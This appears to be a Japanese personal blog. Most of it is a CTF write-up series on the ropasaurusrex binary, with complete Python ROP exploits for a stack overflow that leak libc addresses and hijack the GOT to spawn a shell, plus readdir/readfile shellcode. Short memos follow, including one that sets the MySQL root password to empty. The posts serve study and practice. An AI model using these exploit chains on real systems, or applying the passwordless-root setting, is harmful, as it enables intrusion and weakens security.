ropasaurusrexのwriteup [level 3]

今回はropasaurusrexのlevel3です。
今回はバイナリがchrootされていてsystem関数が使えないという状況です。
手段としてはreaddirとreadfileのシェルコードを実行させます。

先にプログラムを載せます。

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
shellcode_readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"./\x00"
shellcode_readfile = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"flag.txt"

mode = raw_input('input "dir" or "file"\n')
if (mode == 'dir'):
    shellcode = shellcode_readdir 
elif (mode == 'file'):
    shellcode = shellcode_readfile 
else:
    print 'exit.\n'
    quit()


# --- main ---
s, f = sock("localhost", 4088)    # 接続

plt_write = 0x0804830c
plt_read = 0x0804832c
got_write = 0x8049614
offset_write = 0x000e5650
offset_mprotect = 0x000f2b70
pop3ret = 0x80484b6
bss_address = 0x08049628+0x500
bss_topaddress = 0x08049000
data_address = 0x08049620
leave = 0x080482ea

buf = "A"*136   #returnアドレスまでの埋め草
buf += p(bss_address-4)
buf += p(plt_read)
buf += p(leave)  
buf += p(0)
buf += p(bss_address)
buf += p(80)

buf2 = p(plt_write) + p(pop3ret) + p(1) + p(got_write) + p(4)     
buf2 += p(plt_read) + p(pop3ret) + p(0) + p(bss_address+80) + p(len(shellcode))            
buf2 += p(plt_read) + p(pop3ret) + p(0) + p(got_write) + p(4)       
buf2 += p(plt_write) + p(bss_address+80) + p(bss_topaddress) + p(0x1000) + p(7)
f.write(buf)
f.write(buf2)

libc_top_address = u(f.read(4)) - offset_write 
mprotect_address = libc_top_address + offset_mprotect

f.write(shellcode)
f.write(p(mprotect_address))

shell(s)

新しい内容はmprotect近辺しかないです。
mprotectを使う意味はbssには書き込み権限と読み込み権限があるが実行権限がないためです。
mprotectのアドレスを調べる手順などはlevel1に書いたので省略。
mprotectの書式を見てみると

int mprotect(const void *addr, size_t len, int prot);

とあります。
mprotect() は、区間 [addr, addr+len-1] のアドレス範囲を含む 呼び出し元のプロセスのメモリーページのアクセス保護を変更する。 addr はページ境界に一致していなければならない。

セクションヘッダ:
  [] 名前              タイプ          アドレス Off    サイズ ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048148 000148 000024 00   A  0   0  4
  [ 4] .hash             HASH            0804816c 00016c 00002c 04   A  6   0  4
  [ 5] .gnu.hash         GNU_HASH        08048198 000198 000020 04   A  6   0  4
  [ 6] .dynsym           DYNSYM          080481b8 0001b8 000060 10   A  7   1  4
  [ 7] .dynstr           STRTAB          08048218 000218 000050 00   A  0   0  1
  [ 8] .gnu.version      VERSYM          08048268 000268 00000c 02   A  6   0  2
  [ 9] .gnu.version_r    VERNEED         08048274 000274 000020 00   A  7   1  4
  [10] .rel.dyn          REL             08048294 000294 000008 08   A  6   0  4
  [11] .rel.plt          REL             0804829c 00029c 000020 08   A  6  13  4
  [12] .init             PROGBITS        080482bc 0002bc 000030 00  AX  0   0  4
  [13] .plt              PROGBITS        080482ec 0002ec 000050 04  AX  0   0  4
  [14] .text             PROGBITS        08048340 000340 0001ac 00  AX  0   0 16
  [15] .fini             PROGBITS        080484ec 0004ec 00001c 00  AX  0   0  4
  [16] .rodata           PROGBITS        08048508 000508 00000d 00   A  0   0  4
  [17] .eh_frame         PROGBITS        08048518 000518 000004 00   A  0   0  4
  [18] .ctors            PROGBITS        0804951c 00051c 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        08049524 000524 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        0804952c 00052c 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049530 000530 0000d0 08  WA  7   0  4
  [22] .got              PROGBITS        08049600 000600 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08049604 000604 00001c 04  WA  0   0  4
  [24] .data             PROGBITS        08049620 000620 000008 00  WA  0   0  4
  [25] .bss              NOBITS          08049628 000628 000008 00  WA  0   0  4
  [26] .comment          PROGBITS        00000000 000628 00001c 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 000644 0000de 00      0   0  1

正直、ここらへんまだ理解できてないのですが、bssアドレスの先頭はアドレスからoffsetを引いたもの。
つまり0x08049628-0x628であると予測します。
サイズはgdb-pedaでメモリマップを見て確認します。

gdb-peda$ i proc map
process 13365
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /home/r30n/workspace/binary/new/2016_08_03/ctf_study2/3.advanced/rop3/ropasaurusrex3
         0x8049000  0x804a000     0x1000        0x0 /home/r30n/workspace/binary/new/2016_08_03/ctf_study2/3.advanced/rop3/ropasaurusrex3
        0xf7dce000 0xf7fa0000   0x1d2000        0x0 /lib32/libc-2.27.so
        0xf7fa0000 0xf7fa1000     0x1000   0x1d2000 /lib32/libc-2.27.so
        0xf7fa1000 0xf7fa3000     0x2000   0x1d2000 /lib32/libc-2.27.so
        0xf7fa3000 0xf7fa4000     0x1000   0x1d4000 /lib32/libc-2.27.so
        0xf7fa4000 0xf7fa7000     0x3000        0x0 
        0xf7fcf000 0xf7fd1000     0x2000        0x0 
        0xf7fd1000 0xf7fd4000     0x3000        0x0 [vvar]
        0xf7fd4000 0xf7fd6000     0x2000        0x0 [vdso]
        0xf7fd6000 0xf7ffc000    0x26000        0x0 /lib32/ld-2.27.so
        0xf7ffc000 0xf7ffd000     0x1000    0x25000 /lib32/ld-2.27.so
        0xf7ffd000 0xf7ffe000     0x1000    0x26000 /lib32/ld-2.27.so
        0xfffdd000 0xffffe000    0x21000        0x0 [stack]
gdb-peda$ 

引数を指定してmprotectが実行されたら最後にshellcodeのアドレスに飛んで終了です。

エクスプロイトするとこんな感じです。
f:id:r30n:20181126161359p:plain

ropasaurusrexのwriteup [level 2]

今回は前回に引き続いてropasaurusrexのlevel2の記事を書きます。
前回の変更点はbufの大きさが256->160に変更になったことです。
これはgdb-pedaでも確認できます。
readの手前でmov DWORD PTR [esp],0x0 , mov DWORD PTR [esp+0x4],eax, mov DWORD PTR [esp+0x8],0xa0とあります。
read関数の書式はint read(int handle, void *buf, unsigned n);となっており、3引数目がデータの大きさを表している。よって[esp+0x8]が0xa0、つまり160byteが書き込める大きさです。

Level1と同様にreturnまでの距離は140byteなので今回は20byteしかないので関数1つしか呼べません。
この場合どうするかというと、書き込み可能、実行可能なセクションに処理を移すということが有効です。
関数はleave retでebp(ベースポインタ)を参照して元に返ります。その性質を利用してold ebpのアドレスを別のアドレスに書き換えてそこに飛ぶようにするのです。

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):                                                                                                                                                                 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                                                                                                                                         
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]

# --- main ---
s, f = sock("localhost", 4088)    # 接続

plt_write = 0x0804830c
plt_read = 0x0804832c
got_write = 0x8049614
offset_write = 0x000e5650
offset_system = 0x0003cc70
pop3ret = 0x80484b6
bss_address = 0x08049628+0x500
data_address = 0x08049620
leave = 0x080482ea

buf = "A"*136   #returnアドレスまでの埋め草
buf += p(bss_address-4)
buf += p(plt_read)
buf += p(leave)  
buf += p(0)
buf += p(bss_address)
buf += p(72)

buf2 = p(plt_write) + p(pop3ret) + p(1) + p(got_write) + p(4)     #writeアドレスのリーク(1)
buf2 += p(plt_read) + p(pop3ret) + p(0) + p(data_address) + p(8)             #dataに入力されたものを書き込む(2)
buf2 += p(plt_read) + p(pop3ret) + p(0) + p(got_write) + p(4)       #got_writeに入力されたものを書き込む(3)
buf2 += p(plt_write) + p(0xdeadbeef) + p(data_address)                    #適当に8byteを埋めsystem関数となったwriteをplt_writeで呼び出す(4)
f.write(buf)
f.write(buf2)

libc_system_address = u(f.read(4)) - offset_write + offset_system   #リークされたwriteアドレスからoffset_writeを引いて
                                                                    #libcnの先頭アドレスを求めsystem関数アドレスを計算(1) 
f.write("/bin/sh\0")        #dataに"/bin/sh\0"を書き込む(2)
f.write(p(libc_system_address))     #got_writeにsystem関数のアドレスを書き込む(3) 

shell(s)

return の4byte前のold ebpbssアドレスの4byte引いた値にセットしています。4byte引いたのは関数の最後の処理の際、popされる時にold ebp が4byte加算されるからです。
note.mu
こちらのサイトにebpとespの詳しい説明あります。

read関数から返ってきたらbssに飛ばしたいので直後にleave retしなくてはいけません。ropgadgetのpop3retのようにleave retを探すには

rp-lin-x86 -f ./実行ファイル  -r 4

で探せます。

0x080482ea: leave  ; ret  ;  (1 found)

実行すると見つかると思います。

また、bssアドレスに0x500加算している理由ですが、これは関数を追加していくにしたがってスタックフレームが上に伸びる性質があるからです。上というのは低いアドレス二伸びるということです。
bssに処理を移ってからreadとwriteを何回か呼んでいますが、この部分でスタックはどんどん上に積まれます。
もしアドレスに加算しないとbssからはみ出て別のセクション領域に入ってしまい、そこが書き込み不可能もしくは実行不可能領域であった場合にSIGSEGVを起こしてしまうためです。

あとはLevel1で説明したことと変わらないので省略します。

ropasaurusrexのwriteup [level 1]

まずは動作確認から。

r30n@M0C0:~/workspace/binary/ropasaurusrex_1$ ./ropasaurusrex 
aaaa
WIN

実行すると入力待ちになり、文字を適当に入力するとWINと返すようです。
次に長い文字列を入力してみると

r30n@M0C0:~/workspace/binary/ropasaurusrex_1$ ./ropasaurusrex 
fjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (コアダンプ)

Segmentation faultが返ってくることから領域を超えた書き込みが可能ということが分かります。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled
gdb-peda$ 

NXが有効なのでスタック上ではシェルコードを実行できない。
これに対して、GOTのwriteに相当する箇所をsystem関数に書き換えてwrite関数が呼ばれたときにsystem("bin/sh")が実行されるようにスタックに積んでいく。
もう少し詳しくまとめると

libcにあるsystem関数を呼び出したい
=>system関数のアドレスが知りたい ※libcの先頭アドレスからwriteやsystemまでいくつ離れているかはコマンドを叩けば分かる
=>libcの先頭アドレスが知りたい
=>got writeアドレスが分かれば、オフセットは分かっているのでlibcの先頭アドレスが分かる。
=>plt writeでgot writeのアドレスをリーク。
      =>plt readを使って書き換える。

という目標の逆の順番で一つ一つ解決していく。
ちなみに
ldd ./実行ファイルでどのlibcを使っているかが分かる。
nm -D libcファイル | grep "write"でwriteとlibcの先頭アドレスのオフセットが分かる。
gdb-peda上でropgadgetとコマンドを打つとpop3retのアドレスが分かる
got tableを見るにはreadelfコマンドで各セクションを表示させ、gotの先頭アドレスを[telescop gotのアドレス]とする。

gdb-peda$ pattc 256
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G'
gdb-peda$ 

このパターン文字列を実行後の入力待ちの際に入力することによってreturnまでの長さがわかる。

[----------------------------------registers-----------------------------------]
EAX: 0x100 
EBX: 0x0 
ECX: 0xffffd020 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKA\214\320\377\377")
EDX: 0x100 
ESI: 0xf7fa3000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0x41514141 ('AAQA')
ESP: 0xffffd0b0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
EIP: 0x41416d41 ('AmAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41416d41
[------------------------------------stack-------------------------------------]
0000| 0xffffd0b0 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0004| 0xffffd0b4 ("AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0008| 0xffffd0b8 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0012| 0xffffd0bc ("TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0016| 0xffffd0c0 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0020| 0xffffd0c4 ("ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0024| 0xffffd0c8 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
0028| 0xffffd0cc ("AAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
gdb-peda$ patto $eip
1094806849 found at offset: 140
gdb-peda$ 
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ ldd ropasaurusrex 
        linux-gate.so.1 (0xf7f35000)
        libc.so.6 => /lib32/libc.so.6 (0xf7d2f000)
        /lib/ld-linux.so.2 (0xf7f37000)
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ nm -D /lib32/libc.so.6 | grep "write"
00136a80 T _IO_do_write
00072730 T _IO_do_write
00136400 T _IO_file_write
000714f0 T _IO_file_write
00066380 T _IO_fwrite
0006c020 T _IO_wdo_write
000e2b40 T __libc_pwrite
000e2ca0 W __pwrite64
000e5650 W __write
000f7540 T eventfd_write
00066380 W fwrite
00070040 T fwrite_unlocked
000f82d0 T process_vm_writev
000e2b40 W pwrite
000e2ca0 W pwrite64
000eec40 T pwritev
000ef040 T pwritev2
000eecf0 T pwritev64
000ef190 T pwritev64v2
000e5650 W write
000eea40 W writev
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ nm -D /lib32/libc.so.6 | grep "system"
0003cc70 T __libc_system
001270f0 T svcerr_systemerr
0003cc70 W system
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$

pltの各アドレスはobjdumpで確認できます。

r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ objdump -d ropasaurusrex | grep plt
 80482c3:       e8 00 00 00 00          call   80482c8 <__gmon_start__@plt-0x34>                                                                                                                
 80482d7:       74 05                   je     80482de <__gmon_start__@plt-0x1e>
 80482d9:       e8 1e 00 00 00          call   80482fc <__gmon_start__@plt>
 80482de:       e8 ed 00 00 00          call   80483d0 <read@plt+0xa4>
 80482e3:       e8 d8 01 00 00          call   80484c0 <read@plt+0x194>
セクション .plt の逆アセンブル:
080482ec <__gmon_start__@plt-0x10>:
080482fc <__gmon_start__@plt>:
 8048307:       e9 e0 ff ff ff          jmp    80482ec <__gmon_start__@plt-0x10>
0804830c <write@plt>:
 8048317:       e9 d0 ff ff ff          jmp    80482ec <__gmon_start__@plt-0x10>
0804831c <__libc_start_main@plt>:
 8048327:       e9 c0 ff ff ff          jmp    80482ec <__gmon_start__@plt-0x10>
0804832c <read@plt>:
 8048337:       e9 b0 ff ff ff          jmp    80482ec <__gmon_start__@plt-0x10>
 804835c:       e8 bb ff ff ff          call   804831c <__libc_start_main@plt>
 804837e:       75 3f                   jne    80483bf <read@plt+0x93>
 8048398:       73 1e                   jae    80483b8 <read@plt+0x8c>
 80483b6:       72 e8                   jb     80483a0 <read@plt+0x74>
 80483dd:       74 12                   je     80483f1 <read@plt+0xc5>
 80483e6:       74 09                   je     80483f1 <read@plt+0xc5>
 8048416:       e8 11 ff ff ff          call   804832c <read@plt>
 8048426:       e8 c9 ff ff ff          call   80483f4 <read@plt+0xc8>
 8048442:       e8 c5 fe ff ff          call   804830c <write@plt>
 8048466:       e8 4f 00 00 00          call   80484ba <read@plt+0x18e>
 8048474:       e8 43 fe ff ff          call   80482bc <__gmon_start__@plt-0x40>
 804848c:       74 24                   je     80484b2 <read@plt+0x186>
 80484b0:       72 de                   jb     8048490 <read@plt+0x164>
 80484cf:       74 13                   je     80484e4 <read@plt+0x1b8>
 80484e2:       75 f4                   jne    80484d8 <read@plt+0x1ac>
 80484f3:       e8 00 00 00 00          call   80484f8 <read@plt+0x1cc>
 80484ff:       e8 6c fe ff ff          call   8048370 <read@plt+0x44>
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$

readelfで各セクションのアドレスを見てgotセクションのアドレスをgdbのtelescopeでwriteのgotアドレスを確認します。

r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$ readelf -S ropasaurusrex  
There are 28 section headers, starting at offset 0x724:

セクションヘッダ:
  [] 名前              タイプ          アドレス Off    サイズ ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048148 000148 000024 00   A  0   0  4
  [ 4] .hash             HASH            0804816c 00016c 00002c 04   A  6   0  4
  [ 5] .gnu.hash         GNU_HASH        08048198 000198 000020 04   A  6   0  4
  [ 6] .dynsym           DYNSYM          080481b8 0001b8 000060 10   A  7   1  4
  [ 7] .dynstr           STRTAB          08048218 000218 000050 00   A  0   0  1
  [ 8] .gnu.version      VERSYM          08048268 000268 00000c 02   A  6   0  2
  [ 9] .gnu.version_r    VERNEED         08048274 000274 000020 00   A  7   1  4
  [10] .rel.dyn          REL             08048294 000294 000008 08   A  6   0  4
  [11] .rel.plt          REL             0804829c 00029c 000020 08   A  6  13  4
  [12] .init             PROGBITS        080482bc 0002bc 000030 00  AX  0   0  4
  [13] .plt              PROGBITS        080482ec 0002ec 000050 04  AX  0   0  4
  [14] .text             PROGBITS        08048340 000340 0001ac 00  AX  0   0 16
  [15] .fini             PROGBITS        080484ec 0004ec 00001c 00  AX  0   0  4
  [16] .rodata           PROGBITS        08048508 000508 00000d 00   A  0   0  4
  [17] .eh_frame         PROGBITS        08048518 000518 000004 00   A  0   0  4
  [18] .ctors            PROGBITS        0804951c 00051c 000008 00  WA  0   0  4
  [19] .dtors            PROGBITS        08049524 000524 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        0804952c 00052c 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049530 000530 0000d0 08  WA  7   0  4
  [22] .got              PROGBITS        08049600 000600 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08049604 000604 00001c 04  WA  0   0  4
  [24] .data             PROGBITS        08049620 000620 000008 00  WA  0   0  4
  [25] .bss              NOBITS          08049628 000628 000008 00  WA  0   0  4
  [26] .comment          PROGBITS        00000000 000628 00001c 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 000644 0000de 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)
r30n@M0C0:~/workspace/binary/new/2016_08_03/ctf_study2/2.hands-on$
gdb-peda$ telescope 0x08049600
0000| 0x8049600 --> 0x0 
0004| 0x8049604 --> 0x8049530 --> 0x1 
0008| 0x8049608 --> 0xf7ffd940 --> 0x0 
0012| 0x804960c --> 0xf7fead80 (push   eax)
0016| 0x8049610 --> 0x8048302 (<__gmon_start__@plt+6>:  push   0x0)
0020| 0x8049614 --> 0x8048312 (<write@plt+6>:   push   0x8)
0024| 0x8049618 --> 0xf7de6d90 (<__libc_start_main>:    call   0xf7f02bd9)
0028| 0x804961c --> 0xf7eb3580 (<read>: push   esi)
gdb-peda$

pop3retはgdb-pedaでropgadgetと打つと確認できます。
pop3retはreadやwriteが関数の処理から返ってきた時に3つの引数を消すために必要なんです。

ret = 0x80482ca
popret = 0x80483c3
pop2ret = 0x80483c2
pop3ret = 0x80484b6
pop4ret = 0x80484b5
addesp_12 = 0x80483bf
addesp_44 = 0x80484b2
gdb-peda$ 

必要な情報はこれで揃ったので、これらの情報を使ってプログラムを組みます。

#!/usr/bin/python                                                                                                                                                                               
# -*- coding:utf-8 -*-
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]

# --- main ---
s, f = sock("localhost", 4088)    # 接続

plt_write = 0x0804830c
plt_read = 0x0804832c
got_write = 0x8049614
offset_write = 0x000e5650
offset_system = 0x0003cc70
pop3ret = 0x80484b6
bss_address = 0x08049628


buf = "A"*140   #returnアドレスまでの埋め草
buf += p(plt_write) + p(pop3ret) + p(1) + p(got_write) + p(4)     #writeアドレスのリーク(1)
buf += p(plt_read) + p(pop3ret) + p(0) + p(bss_address) + p(8)             #bssに入力されたものを書き込む(2)
buf += p(plt_read) + p(pop3ret) + p(0) + p(got_write) + p(4)       #got_writeに入力されたものを書き込む(3)
buf += p(plt_write) + p(0xdeadbeef) + p(bss_address)                    #適当に8byteを埋めsystem関数となったwriteをplt_writeで呼び出す(4)
f.write(buf)

libc_system_address = u(f.read(4)) - offset_write + offset_system   #リークされたwriteアドレスからoffset_writeを引いて
                                                                    #libcnの先頭アドレスを求めsystem関数アドレスを計算(1) 
f.write("/bin/sh\0")        #bssに"/bin/sh\0"を書き込む(2)
f.write(p(libc_system_address))     #got_writeにsystem関数のアドレスを書き込む(3) 

shell(s)

pwnでsocatを使って環境を作る[備忘録]

socatを使うとPwnを解く際にリモート環境を再現してくれる。

socatを実行

socat tcp-listen:4088,reuseaddr,fork, exec:./main.sh

main.shの中身

r30n@M0C0:~/workspace/binary/2016_08_03/Production/ctf_study2/2.hands-on$ cat main.sh 
gdbserver localhost:1234 ./ropasaurusrex

netcatでアクセス

nc localhost:4088

gdbを起動

gdb -x cmd

cmdの中身

r30n@M0C0:~/workspace/binary/2016_08_03/Production/ctf_study2/2.hands-on$ cat cmd 
file ./ropasaurusrex
target remote localhost:1234
b *0x8048416
c

再帰的に文字列を検索する[備忘録]

ファイル名を再帰的に検索するコマンド

find [検索対象フォルダのパス] -type f -name "*[検索したい文字列]*"


ファイルの中身にある文字列を再帰的に検索するコマンド

grep [検索したい文字列] -rl [検索対象フォルダのパス]

MacOS HighSierra 再インストールのお話

今までメインでLinuxOSを使っていたのですが、今働いてる会社のメンバーが自分以外全員Macユーザーで環境を統一した方がやりやすいということで先日会社からMacbook proを支給されました。iCloudの同期などの初期設定を済ませ開発しようとターミナルを立ち上げると

tanakashotaMacbook-pro~:tanakashota$

こんな感じでフルネームと長さが気にいらなかったので手順に従ってホームディレクトリ名とアカウント名を変えるといろいろバグりました。グループIDが「-2-4-2-3-4-4-3-3-1」のように負の数続いてたりして、直すのめんどくさそうだったのでもう1回MacOS再インストールすれば良いかと思ってApple公式サポートの手順に従ってMacを初期化。
初期化してSDD上のボリュームを全削除した後、HighSierraのインストールが完了するのを待っていると
f:id:r30n:20180914235454j:plain
「APFSインストール用のprebootボリュームを作成できませんでした」という意味わからんことを言われる。
エラー内容でググったら1件だけ手順を詳細にまとめてくれている記事があったので以下を参考にしました。これありがたかった。
qiita.com

SMCとPARAMのリセットを済ませた後、SierraインストーラをUSBに入れる作業に移ります。
以下のリンクからSierraをダウンロードしてください。
https://itunes.apple.com/jp/app/macos-sierra/id1127487414?mt=12&at=11lLqM
↑自分のMacはぶっ壊れてるのでもちろんappstoreも使えません。自分は近くにいた同僚にMac貸してもらってやりました。
ダウンロードしたPCでターミナルを開いて以下のコマンドを打つ。

$ sudo /Applications/Install\ macOS\ Sierra.app/Contents/Resources/createinstallmedia --volume /Volumes/{USBの名前} --applicationpath /Applications/Install\ macOS\ Sierra.app --nointeraction

※{USBの名前}は適宜変えてください。

10分くらい待つと終わります。
USBにSierraインストーラを入れた後は、壊れているMacにそのUSBを繋げてOptionキーを押しながら起動します。

HighSierraユーティリティではなくSierraユーティリティを開くとさっきまで表示されていなかった「preboot」や「VM」などが表示されていると思います。それらを消すのですが写真とか撮るの忘れたので上のqiitaの記事を見ながら慎重に行ってください。簡単に言うと「AppleAPFSMedia」を選択してその中身のボリュームもろとも全て削除すると「AppleSSD SM...」がひとつ残るのでそれをOS X Extend(うろ覚え)&Guid方式で削除してみる。削除すると、指定した形式で「AppleSSD SM...」が作り直される。
この作業が終わったらUSBの接続を切ってHighSierraユーティリティを開いて「OSの再インストール」を選択してしばらく待つ。

f:id:r30n:20180915005002j:plain
20分くらい経つと終わってるはずです。会社のPCだったので本当に焦りましたが直せて良かったです。
参考になる記事も少ないので誰かの参考になれば幸いです!

mysql5.7にsudoなしpasswordなしでログインする[備忘録]

「sudoなしでログイン」

mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '{PW}';

※{PW}はrootパスワード

「passwordなしでログイン」

mysql> UPDATE user SET authentication_string=password('') WHERE user='root';